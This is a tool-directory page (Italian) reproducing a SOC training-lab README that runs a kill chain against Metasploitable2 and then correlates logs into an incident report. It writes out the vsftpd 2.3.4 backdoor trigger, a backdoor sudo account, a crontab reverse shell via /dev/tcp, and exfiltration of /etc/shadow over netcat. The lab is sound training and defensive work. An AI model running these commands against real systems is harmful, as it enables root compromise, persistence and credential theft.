Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
soc-investigation-lab — Indagine SOC end-to-end: kill chain CVE-2011-2523, correlazione dei log multi-sorgente, report dell'incidente — MITRE ATT&CK T1190 | Kitploit
Strumenti/GitHubGitHub/mithileshan/soc-investigation-lab
RicognizioneAnalisi delle VulnerabilitàExploitInformatica ForensePost-ExploitPenetration TestingThreat IntelligenceApprendimento e FormazioneRisposta agli Incidenti

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Analisi dei Log
Lab e Pratica
GitHubmithileshan/soc-investigation-lab

soc-investigation-lab

Indagine SOC end-to-end: kill chain CVE-2011-2523, correlazione dei log multi-sorgente, report dell'incidente — MITRE ATT&CK T1190

Vedi Repository
155 mesi faNon ancora revisionato
Condividi

Laboratorio di Indagine SOC End-to-End

Esegue una catena di attacco completa in quattro fasi (Ricognizione → Sfruttamento → Persistenza → Esfiltrazione) contro Metasploitable2, raccoglie prove in ogni fase e produce una timeline strutturata dell'incidente e un report SOC — dimostrando un pensiero simultaneo da attaccante e da difensore.

MITRE ATT&CK T1190 MITRE ATT&CK T1136 MITRE ATT&CK T1078 MITRE ATT&CK T1041 Python


Obiettivo

Questo è il progetto finale (capstone). Dimostra la capacità di:

  • Eseguire una kill chain realistica contro un target deliberatamente vulnerabile
  • Raccogliere prove forensi in ogni fase utilizzando multiple fonti di telemetria
  • Correlare le voci di log di sistemi disparati in una timeline unificata dell'incidente
  • Eseguire un'analisi dei gap di visibilità — identificando cosa sarebbe stato perso senza un'adeguata copertura di rilevamento
  • Produrre un report di incidente di livello SOC nel formato usato dai team di sicurezza reali

L'exploit utilizzato (CVE-2011-2523 — backdoor vsftpd 2.3.4) è storicamente significativo: è stato un attacco alla supply chain in cui un avversario ha iniettato una backdoor nel repository sorgente del pacchetto open-source vsftpd.


Architettura

                    ╔═══════════════════════════════╗
                    ║  soc-lab (172.23.0.0/24)       ║
                    ║                               ║
┌─────────────┐     ║  ┌─────────────────────────┐  ║
│  Attacker   │     ║  │  Metasploitable2        │  ║
│  Kali Linux │     ║  │  172.23.0.200           │  ║
│             │     ║  │                         │  ║
│  Phase 1    │─────╫─►│  :21  vsftpd 2.3.4 ◄───╫──╫── CVE-2011-2523
│  nmap -A    │     ║  │  :22  SSH               │  ║    backdoor on :6200
│             │     ║  │  :80  HTTP (DVWA)        │  ║
│  Phase 2    │─────╫─►│  :445 Samba             │  ║
│  msf exploit│◄────╫──│  :6200 root shell       │  ║
│             │     ║  └─────────────────────────┘  ║
│  Phase 3    │─────╫─► useradd sysbackup           ║
│  persistence│─────╫─► crontab reverse shell       ║
│             │     ║                               ║
│  Phase 4    │◄────╫── /etc/shadow via nc :5555    ║
│  exfiltration     ╚═══════════════════════════════╝
└──────┬──────┘
       │
       │ Evidence collection:
       │  logs/msf_session.log
       │  logs/target_auth.log
       │  captures/full_attack_chain.pcap (tshark CSV)
       ▼
┌──────────────────────────────────────────────────┐
│  build_timeline.py                               │
│  Parser: MSF log + auth.log + tshark CSV         │
│  → merge by timestamp → tag by phase             │
│  → JSON timeline + Markdown incident report      │
└──────────────────────────────────────────────────┘

Strumenti e Stack

StrumentoScopo
Metasploitable2Target Linux deliberatamente vulnerabile
Nmap 7.94Fase 1: Enumerazione dei servizi
Metasploit 6.xFase 2: Exploit vsftpd 2.3.4
NetcatFasi 3–4: Persistenza + esfiltrazione
tsharkCattura pacchetti in tutte le fasi
Python 3build_timeline.py — merge di log multi-sorgente
Splunk Free / ELKRilevamento SIEM specifico per fase

Setup

cd docker/

# Start Metasploitable2 (isolated network)
docker compose up -d metasploitable

# Verify target is reachable
nmap -p 21,22,80 172.23.0.200

# Start background packet capture
sudo tcpdump -i eth0 host 172.23.0.200 \
    -w captures/full_attack_chain.pcap &

Come Eseguire (Catena di Attacco)

Fase 1 — Ricognizione

nmap -sV -O -A \
    -p 21,22,80,139,445,3306,5432 \
    --script=banner,ftp-anon,http-title \
    -oX logs/recon_scan.xml \
    172.23.0.200

Risultato chiave: 21/tcp open ftp vsftpd 2.3.4

Fase 2 — Sfruttamento (CVE-2011-2523)

# Method A: Metasploit
msfconsole -q -x "
  use exploit/unix/ftp/vsftpd_234_backdoor;
  set RHOSTS 172.23.0.200;
  set PAYLOAD cmd/unix/interact;
  run" | tee logs/msf_session.log

# Method B: Manual (demonstrates the mechanism)
# Step 1: Trigger backdoor by sending username with ':)'
printf "USER evil:)\r\nPASS x\r\n" | nc 172.23.0.200 21
# Step 2: Connect to spawned root shell
nc 172.23.0.200 6200
# → id: uid=0(root) gid=0(root)

Perché funziona: Quando vsftpd 2.3.4 riceve un nome utente contenente la sottostringa :), il demone esegue execl("/bin/sh",...) in ascolto sulla porta TCP 6200. Nessuna autenticazione richiesta — shell root diretta.

Fase 3 — Persistenza

# Execute in the root shell on target:
useradd -m -s /bin/bash sysbackup
echo "sysbackup:$(openssl passwd -1 secr3t)" >> /etc/passwd
echo "sysbackup ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/172.23.0.1/9999 0>&1") | crontab -

Fase 4 — Esfiltrazione

# Receiver (attacker)
nc -lvnp 5555 > samples/exfiltrated_shadow.txt

# Sender (on target)
cat /etc/shadow | nc 172.23.0.1 5555

Costruisci la timeline dell'incidente

# Convert PCAP to CSV first
bash ../02-network-recon-detection/src/pcap_to_siem.sh captures/full_attack_chain.pcap

# Build timeline from all sources
python3 src/build_timeline.py \
    --msf-log  logs/msf_session.log \
    --auth-log logs/target_auth.log \
    --pcap-csv captures/full_attack_chain_packets.csv \
    --output-json samples/timeline.json \
    --output-md   docs/incident_report.md \
    --pretty

Output di Esempio

build_timeline.py stderr

2026-04-24T16:05:20  [INFO    ]  Parsed 9 events from MSF log
2026-04-24T16:05:20  [INFO    ]  Parsed 11 events from auth.log
2026-04-24T16:05:20  [INFO    ]  Parsed 4 flow-initiation events from PCAP CSV
2026-04-24T16:05:20  [INFO    ]  Total events (sorted): 24
2026-04-24T16:05:20  [INFO    ]  Unique IOCs extracted: 4
2026-04-24T16:05:20  [INFO    ]  Phase RECON   : 8 event(s)
2026-04-24T16:05:20  [INFO    ]  Phase EXPLOIT : 4 event(s)
2026-04-24T16:05:20  [INFO    ]  Phase PERSIST : 6 event(s)
2026-04-24T16:05:20  [INFO    ]  Phase EXFIL   : 2 event(s)

Timeline dell'incidente (estratto da samples/sample_timeline.json)

{
  "total_events": 24,
  "iocs": [
    { "indicator": "172.23.0.1", "phase": "RECON",   "occurrence": 8 },
    { "indicator": "172.23.0.1", "phase": "EXPLOIT",  "occurrence": 2 },
    { "indicator": "sysbackup",  "phase": "PERSIST", "occurrence": 1 }
  ],
  "timeline": [
    { "timestamp": "2026-04-24T14:10:05+00:00", "phase": "RECON",   "description": "nmap -sV -O -A", "source": "metasploit" },
    { "timestamp": "2026-04-24T14:22:41+00:00", "phase": "EXPLOIT", "description": "session 1 opened (172.23.0.1 → 172.23.0.200)", "source": "metasploit" },
    { "timestamp": "2026-04-24T14:28:07+00:00", "phase": "PERSIST", "description": "useradd: new user: name=sysbackup", "source": "auth_log" },
    { "timestamp": "2026-04-24T14:35:52+00:00", "phase": "EXFIL",   "description": "flow 172.23.0.200 → 172.23.0.1:5555", "source": "pcap" }
  ]
}

Analisi dei Gap di Visibilità

Questo è l'output analitico più importante — cosa sarebbe stato perso senza un rilevamento adeguato.

Scarica lo strumento